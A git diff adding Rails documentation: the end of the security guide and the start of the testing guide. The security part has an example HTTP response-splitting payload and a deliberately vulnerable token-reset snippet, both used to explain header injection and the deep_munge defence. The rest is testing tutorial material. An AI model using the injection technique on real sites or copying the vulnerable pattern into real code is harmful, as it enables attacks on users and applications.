+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure y [...]
+
+#### Response Splitting
+
+If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
+
+```
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+<html><font color=red>hey</font></html> [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+```
+
+Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+
+Unsafe Query Generation
+-----------------------
+
+Due to the way Active Record interprets parameters in combination with the way
+that Rack parses query parameters it was possible to issue unexpected database
+queries with `IS NULL` where clauses. As a response to that security issue
+([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),
+[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ)
+and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ))
+`deep_munge` method was introduced as a solution to keep Rails secure by default.
+
+Example of vulnerable code that could be used by attacker, if `deep_munge`
+wasn't performed is:
+
+```ruby
+unless params[:token].nil?
+  user = User.find_by_token(params[:token])
+  user.reset_password!
+end
+```
+
+When `params[:token]` is one of: `[]`, `[nil]`, `[nil, nil, ...]` or
+`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or
+`IN ('foo', NULL)` where clauses still will be added to the SQL query.
+
+To keep rails secure by default, `deep_munge` replaces some of the values with
+`nil`. Below table shows what the parameters look like based on `JSON` sent in
+request:
+
+| JSON                              | Parameters               |
+|-----------------------------------|--------------------------|
+| `{ "person": null }`              | `{ :person => nil }`     |
+| `{ "person": [] }`                | `{ :person => nil }`     |
+| `{ "person": [null] }`            | `{ :person => nil }`     |
+| `{ "person": [null, null, ...] }` | `{ :person => nil }`     |
+| `{ "person": ["foo", null] }`     | `{ :person => ["foo"] }` |
+
+It is possible to return to old behaviour and disable `deep_munge` configuring
+your application if you are aware of the risk and know how to handle it:
+
+```ruby
+config.action_dispatch.perform_deep_munge = false
+```
+
+Default Headers
+---------------
+
+Every HTTP response from your Rails application receives the following default security headers.
+
+```ruby
+config.action_dispatch.default_headers = {
+  'X-Frame-Options' => 'SAMEORIGIN',
+  'X-XSS-Protection' => '1; mode=block',
+  'X-Content-Type-Options' => 'nosniff'
+}
+```
+
+You can configure default headers in `config/application.rb`.
+
+```ruby
+config.action_dispatch.default_headers = {
+  'Header-Name' => 'Header-Value',
+  'X-Frame-Options' => 'DENY'
+}
+```
+
+Or you can remove them.
+
+```ruby
+config.action_dispatch.default_headers.clear
+```
+
+Here is a list of common headers:
+
+* X-Frame-Options
+_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
+* X-XSS-Protection
+_'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)
+* X-Content-Type-Options
+_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
+* X-Content-Security-Policy
+[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
+* Access-Control-Allow-Origin
+Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
+* Strict-Transport-Security
+[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+
+Environmental Security
+----------------------
+
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+
+Additional Resources
+--------------------
+
+The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
+
+* The Ruby on Rails security project posts security news regularly: [http://www.rorsecurity.info](http://www.rorsecurity.info)
+* Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security)
+* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too)
+* A [good security blog](http://ha.ckers.org/blog/) including the [Cross-Site scripting Cheat Sheet](http://ha.ckers.org/xss.html)
diff --git a/guides/source/testing.md b/guides/source/testing.md
new file mode 100644
index 0000000..704ded7
--- /dev/null
+++ b/guides/source/testing.md
@@ -0,0 +1,1052 @@
+A Guide to Testing Rails Applications
+=====================================
+
+This guide covers built-in mechanisms in Rails for testing your application.
+
+After reading this guide, you will know:
+
+* Rails testing terminology.
+* How to write unit, functional, and integration tests for your application.
+* Other popular testing approaches and plugins.
+
+--------------------------------------------------------------------------------
+
+Why Write Tests for your Rails Applications?
+--------------------------------------------
+
+Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
+
+By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+Introduction to Testing
+-----------------------
+
+Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
+
+### The Test Environment
+
+By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.
+
+A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases.
+
+### Rails Sets up for Testing from the Word Go
+
+Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this folder then you shall see:
+
+```bash
+$ ls -F test
+controllers/    helpers/        mailers/        test_helper.rb
+fixtures/       integration/    models/
+```
+
+The `models` directory is meant to hold tests for your models, the `controllers` directory is meant to hold tests for your controllers and the `integration` directory is meant to hold tests that involve any number of controllers interacting.
+
+Fixtures are a way of organizing test data; they reside in the `fixtures` folder.
+
+The `test_helper.rb` file holds the default configuration for your tests.
+
+### The Low-Down on Fixtures
+
+For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+
+#### What Are Fixtures?
+
+_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model.
+
+You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model fixture stubs will be automatically created and placed in this directory.
+
+#### YAML
+
+YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
+
+Here's a sample YAML fixture file:
+
+```yaml
+# lo & behold! I am a YAML comment!
+david:
+  name: David Heinemeier Hansson
+  birthday: 1979-10-15
+  profession: Systems development
+
+steve:
+  name: Steve Ross Kellock
+  birthday: 1974-09-27
+  profession: guy with keyboard
+```
+
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them.
+
+If you are working with [associations](/association_basics.html), you can simply
+define a reference node between two different fixtures. Here's an example with
+a belongs_to/has_many association:
+
+```yaml
+# In fixtures/categories.yml
+about:
+  name: About
+
+# In fixtures/articles.yml
+one:
+  title: Welcome to Rails!
+  body: Hello world!
+  category: about
+```
+
+#### ERB'in It Up
+
+ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
+
+```erb
+<% 1000.times do |n| %>
+user_<%= n %>:
+  username: <%= "user#{n}" %>
+  email: <%= "user#{n}@example.com" %>
+<% end %>
+```
+
+#### Fixtures in Action
+
+Rails by default automatically loads all fixtures from the `test/fixtures` folder for your models and controllers test. Loading involves three steps:
+
+* Remove any existing data from the table corresponding to the fixture
+* Load the fixture data into the table
+* Dump the fixture data into a variable in case you want to access it directly
+
+#### Fixtures are Active Record objects
+
+Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
+
+```ruby
+# this will return the User object for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+# one can also access methods available on the User class
+email(david.girlfriend.email, david.location_tonight)
+```
+
+Unit Testing your Models
+------------------------
+
+In Rails, models tests are what you write to test your models.
+
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
+
+NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html)
+
+When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/models` folder:
+
+```bash
+$ bin/rails generate scaffold post title:string body:text
+...
+create  app/models/post.rb
+create  test/models/post_test.rb
+create  test/fixtures/posts.yml
+...
+```
+
+The default test stub in `test/models/post_test.rb` looks like this:
+
+```ruby
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+```
+
+A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+
+```ruby
+require 'test_helper'
+```
+
+As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+
+```ruby
+class PostTest < ActiveSupport::TestCase
+```
+
+The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
+
+Any method defined within a class inherited from `MiniTest::Unit::TestCase`
+(which is the superclass of `ActiveSupport::TestCase`) that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
+
+Rails adds a `test` method that takes a test name and a block. It generates a normal `MiniTest::Unit` test with method names prefixed with `test_`. So,
+
+```ruby
+test "the truth" do
+  assert true
+end
+```
+
+acts as if you had written
+
+```ruby
+def test_the_truth
+  assert true
+end
+```
+
+only the `test` macro allows a more readable test name. You can still use regular method definitions though.
+
+NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction.
+
+```ruby
+assert true
+```
+
+This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+
+* does this value = that value?
+* is this object nil?
+* does this line of code throw an exception?
+* is the user's password greater than 5 characters?
+
+Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
+
+### Maintaining the test database schema
+
+In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` into the test database. If migrations are still pending, an error will be raised.
+
+### Running Tests
+
+Running a test is as simple as invoking the file containing the test cases through `rake test` command.
+
+```bash
+$ bin/rake test test/models/post_test.rb
+.
+
+Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+You can also run a particular test method from the test case by running the test and providing the `test method name`.
+
+```bash
+$ bin/rake test test/models/post_test.rb test_the_truth
+.
+
+Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will run all test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.
+
+The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary.
+
+To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case.
+
+```ruby
+test "should not save post without title" do
+  post = Post.new
+  assert_not post.save
+end
+```
+
+Let us run this newly added test.
+
+```bash
+$ bin/rake test test/models/post_test.rb test_should_not_save_post_without_title
+F
+
+Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Failed assertion, no message given.
+
+1 tests, 1 assertions, 1 failures, 0 errors, 0 skips
+```
+
+In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
+
+```ruby
+test "should not save post without title" do
+  post = Post.new
+  assert_not post.save, "Saved the post without a title"
+end
+```
+
+Running this test shows the friendlier assertion message:
+
+```bash
+  1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Saved the post without a title
+```
+
+Now to get this test to pass we can add a model level validation for the _title_ field.
+
+```ruby
+class Post < ActiveRecord::Base
+  validates :title, presence: true
+end
+```
+
+Now the test should pass. Let us verify by running the test again:
+
+```bash
+$ bin/rake test test/models/post_test.rb test_should_not_save_post_without_title
+.
+
+Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
+
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html).
+
+To see how an error gets reported, here's a test containing an error:
+
+```ruby
+test "should report error" do
+  # some_undefined_variable is not defined elsewhere in the test case
+  some_undefined_variable
+  assert true
+end
+```
+
+Now you can see even more output in the console from running the tests:
+
+```bash
+$ bin/rake test test/models/post_test.rb test_should_report_error
+E
+
+Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s.
+
+  1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x007fe32e24afe0>
+    test/models/post_test.rb:10:in `block in <class:PostTest>'
+
+1 tests, 0 assertions, 0 failures, 1 errors, 0 skips
+```
+
+Notice the 'E' in the output. It denotes a test with error.
+
+NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+
+When a test fails you are presented with the corresponding backtrace. By default
+Rails filters that backtrace and will only print lines relevant to your
+application. This eliminates the framework noise and helps to focus on your
+code. However there are situations when you want to see the full
+backtrace. simply set the `BACKTRACE` environment variable to enable this
+behavior:
+
+```bash
+$ BACKTRACE=1 bin/rake test test/models/post_test.rb
+```
+
+### What to Include in Your Unit Tests
+
+Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
+
+### Available Assertions
+
+By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+
+There are a bunch of different types of assertions you can use.
+Here's an extract of the assertions you can use with `minitest`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+
+| Assertion                                                        | Purpose |
+| ---------------------------------------------------------------- | ------- |
+| `assert( test, [msg] )`                                          | Ensures that `test` is true.|
+| `assert_not( test, [msg] )`                                      | Ensures that `test` is false.|
+| `assert_equal( expected, actual, [msg] )`                        | Ensures that `expected == actual` is true.|
+| `assert_not_equal( expected, actual, [msg] )`                    | Ensures that `expected != actual` is true.|
+| `assert_same( expected, actual, [msg] )`                         | Ensures that `expected.equal?(actual)` is true.|
+| `assert_not_same( expected, actual, [msg] )`                     | Ensures that `expected.equal?(actual)` is false.|
+| `assert_nil( obj, [msg] )`                                       | Ensures that `obj.nil?` is true.|
+| `assert_not_nil( obj, [msg] )`                                   | Ensures that `obj.nil?` is false.|
+| `assert_match( regexp, string, [msg] )`                          | Ensures that a string matches the regular expression.|
+| `assert_no_match( regexp, string, [msg] )`                       | Ensures that a string doesn't match the regular expression.|
+| `assert_in_delta( expecting, actual, [delta], [msg] )`           | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
+| `assert_not_in_delta( expecting, actual, [delta], [msg] )`       | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
+| `assert_throws( symbol, [msg] ) { block }`                       | Ensures that the given block throws the symbol.|
+| `assert_raises( exception1, exception2, ... ) { block }`         | Ensures that the given block raises one of the given exceptions.|
+| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.|
+| `assert_instance_of( class, obj, [msg] )`                        | Ensures that `obj` is an instance of `class`.|
+| `assert_not_instance_of( class, obj, [msg] )`                    | Ensures that `obj` is not an instance of `class`.|
+| `assert_kind_of( class, obj, [msg] )`                            | Ensures that `obj` is or descends from `class`.|
+| `assert_not_kind_of( class, obj, [msg] )`                        | Ensures that `obj` is not an instance of `class` and is not descending from it.|
+| `assert_respond_to( obj, symbol, [msg] )`                        | Ensures that `obj` responds to `symbol`.|
+| `assert_not_respond_to( obj, symbol, [msg] )`                    | Ensures that `obj` does not respond to `symbol`.|
+| `assert_operator( obj1, operator, [obj2], [msg] )`               | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_not_operator( obj1, operator, [obj2], [msg] )`           | Ensures that `obj1.operator(obj2)` is false.|
+| `assert_send( array, [msg] )`                                    | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?|
+| `flunk( [msg] )`                                                 | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+
+Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+
+NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+### Rails Specific Assertions
+
+Rails adds some custom assertions of its own to the `test/unit` framework:
+
+| Assertion                                                                         | Purpose |
+| --------------------------------------------------------------------------------- | ------- |
+| `assert_difference(expressions, difference = 1, message = nil) {...}`             | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+| `assert_no_difference(expressions, message = nil, &block)`                    | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+| `assert_recognizes(expected_options, path, extras={}, message=nil)`               | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+| `assert_response(type, message = nil)`                                            | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_COD [...]
+| `assert_redirected_to(options = {}, message=nil)`                                 | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirecte [...]
+| `assert_template(expected = nil, message=nil)`                                    | Asserts that the request was rendered with the appropriate template file.|
+
+You'll see the usage of some of these assertions in the next chapter.
+
+Functional Tests for Your Controllers
+-------------------------------------
+
+In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
+
+### What to Include in your Functional Tests
+
+You should test for things such as:
+
+* was the web request successful?
+* was the user redirected to the right page?
+* was the user successfully authenticated?
+* was the correct object stored in the response template?
+* was the appropriate message displayed to the user in the view?
+
+Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and tests. You can take look at the file `posts_controller_test.rb` in the `test/controllers` directory.
+
+Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`.
+
+```ruby
+class PostsControllerTest < ActionController::TestCase
+  test "should get index" do
+    get :index
+    assert_response :success
+    assert_not_nil assigns(:posts)
+  end
+end
+```
+
+In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable.
+
+The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments:
+
+* The action of the controller you are requesting. This can be in the form of a string or a symbol.
+* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+* An optional hash of session variables to pass along with the request.
+* An optional hash of flash values.
+
+Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session:
+
+```ruby
+get(:show, {'id' => "12"}, {'user_id' => 5})
+```
+
+Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message.
+
+```ruby
+get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+```
+
+NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
+
+Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass:
+
+```ruby
+test "should create post" do
+  assert_difference('Post.count') do
+    post :create, post: {title: 'Some title'}
+  end
+
+  assert_redirected_to post_path(assigns(:post))
+end
+```
+
+Now you can try running all the tests and they should pass.
+
+### Available Request Types for Functional Tests
+
+If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests:
+
+* `get`
+* `post`
+* `patch`
+* `put`
+* `head`
+* `delete`
+
+All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
+
+NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
+
+### The Four Hashes of the Apocalypse
+
+After a request has been made using one of the 6 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:
+
+* `assigns` - Any objects that are stored as instance variables in actions for use in views.
+* `cookies` - Any cookies that are set.
+* `flash` - Any objects living in the flash.
+* `session` - Any object living in session variables.
+
+As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for `assigns`. For example:
+
+```ruby
+flash["gordon"]               flash[:gordon]
+session["shmession"]          session[:shmession]
+cookies["are_good_for_u"]     cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+assigns["something"]          assigns(:something)
+```
+
+### Instance Variables Available
+
+You also have access to three instance variables in your functional tests:
+
+* `@controller` - The controller processing the request
+* `@request` - The request
+* `@response` - The response
+
+### Setting Headers and CGI variables
+
+[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3)
+and
+[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1)
+can be set directly on the `@request` instance variable:
+
+```ruby
+# setting a HTTP Header
+ at request.headers["Accept"] = "text/plain, text/html"
+get :index # simulate the request with custom header
+
+# setting a CGI variable
+ at request.headers["HTTP_REFERER"] = "http://example.com/home"
+post :create # simulate the request with custom env variable
+```
+
+### Testing Templates and Layouts
+
+If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template`
+method:
+
+```ruby
+test "index should render correct template and layout" do
+  get :index
+  assert_template :index
+  assert_template layout: "layouts/application"
+end
+```
+
+Note that you cannot test for template and layout at the same time, with one call to `assert_template` method.
+Also, for the `layout` test, you can give a regular expression instead of a string, but using the string, makes
+things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout
+file in this standard layout directory. Hence,
+
+```ruby
+assert_template layout: "application"
+```
+
+will not work.
+
+If your view renders any partial, when asserting for the layout, you have to assert for the partial at the same time.
+Otherwise, assertion will fail.
+
+Hence:
+
+```ruby
+test "new should render correct layout" do
+  get :new
+  assert_template layout: "layouts/application", partial: "_form"
+end
+```
+
+is the correct way to assert for the layout when the view renders a partial with name `_form`. Omitting the `:partial` key in your `assert_template` call will complain.
+
+### A Fuller Functional Test Example
+
+Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`:
+
+```ruby
+test "should create post" do
+  assert_difference('Post.count') do
+    post :create, post: {title: 'Hi', body: 'This is my first post.'}
+  end
+  assert_redirected_to post_path(assigns(:post))
+  assert_equal 'Post was successfully created.', flash[:notice]
+end
+```
+
+### Testing Views
+
+Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax.
+
+NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`.
+
+There are two forms of `assert_select`:
+
+`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object.
+
+`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants.
+
+For example, you could verify the contents on the title element in your response with:
+
+```ruby
+assert_select 'title', "Welcome to Rails Testing Guide"
+```
+
+You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block:
+
+```ruby
+assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+```
+
+Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
+
+```ruby
+assert_select "ol" do |elements|
+  elements.each do |element|
+    assert_select element, "li", 4
+  end
+end
+
+assert_select "ol" do
+  assert_select "li", 8
+end
+```
+
+The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html).
+
+#### Additional View-Based Assertions
+
+There are more assertions that are primarily used in testing views:
+
+| Assertion                                                 | Purpose |
+| --------------------------------------------------------- | ------- |
+| `assert_select_email`                                     | Allows you to make assertions on the body of an e-mail. |
+| `assert_select_encoded`                                   | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+
+Here's an example of using `assert_select_email`:
+
+```ruby
+assert_select_email do
+  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+```
+
+Integration Testing
+-------------------
+
+Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+
+Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
+
+```bash
+$ bin/rails generate integration_test user_flows
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+```
+
+Here's what a freshly-generated integration test looks like:
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
+```
+
+Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+
+### Helpers Available for Integration Tests
+
+In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+
+| Helper                                                             | Purpose |
+| ------------------------------------------------------------------ | ------- |
+| `https?`                                                           | Returns `true` if the session is mimicking a secure HTTPS request.|
+| `https!`                                                           | Allows you to mimic a secure HTTPS request.|
+| `host!`                                                            | Allows you to set the host name to use in the next request.|
+| `redirect?`                                                        | Returns `true` if the last request was a redirect.|
+| `follow_redirect!`                                                 | Follows a single redirect response.|
+| `request_via_redirect(http_method, path, [parameters], [headers])` | Allows you to make an HTTP request and follow any subsequent redirects.|
+| `post_via_redirect(path, [parameters], [headers])`                 | Allows you to make an HTTP POST request and follow any subsequent redirects.|
+| `get_via_redirect(path, [parameters], [headers])`                  | Allows you to make an HTTP GET request and follow any subsequent redirects.|
+| `patch_via_redirect(path, [parameters], [headers])`                | Allows you to make an HTTP PATCH request and follow any subsequent redirects.|
+| `put_via_redirect(path, [parameters], [headers])`                  | Allows you to make an HTTP PUT request and follow any subsequent redirects.|
+| `delete_via_redirect(path, [parameters], [headers])`               | Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
+| `open_session`                                                     | Opens a new session instance.|
+
+### Integration Testing Examples
+
+A simple integration test that exercises multiple controllers:
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  test "login and browse site" do
+    # login via https
+    https!
+    get "/login"
+    assert_response :success
+
+    post_via_redirect "/login", username: users(:david).username, password: users(:david).password
+    assert_equal '/welcome', path
+    assert_equal 'Welcome david!', flash[:notice]
+
+    https!(false)
+    get "/posts/all"
+    assert_response :success
+    assert assigns(:products)
+  end
+end
+```
+
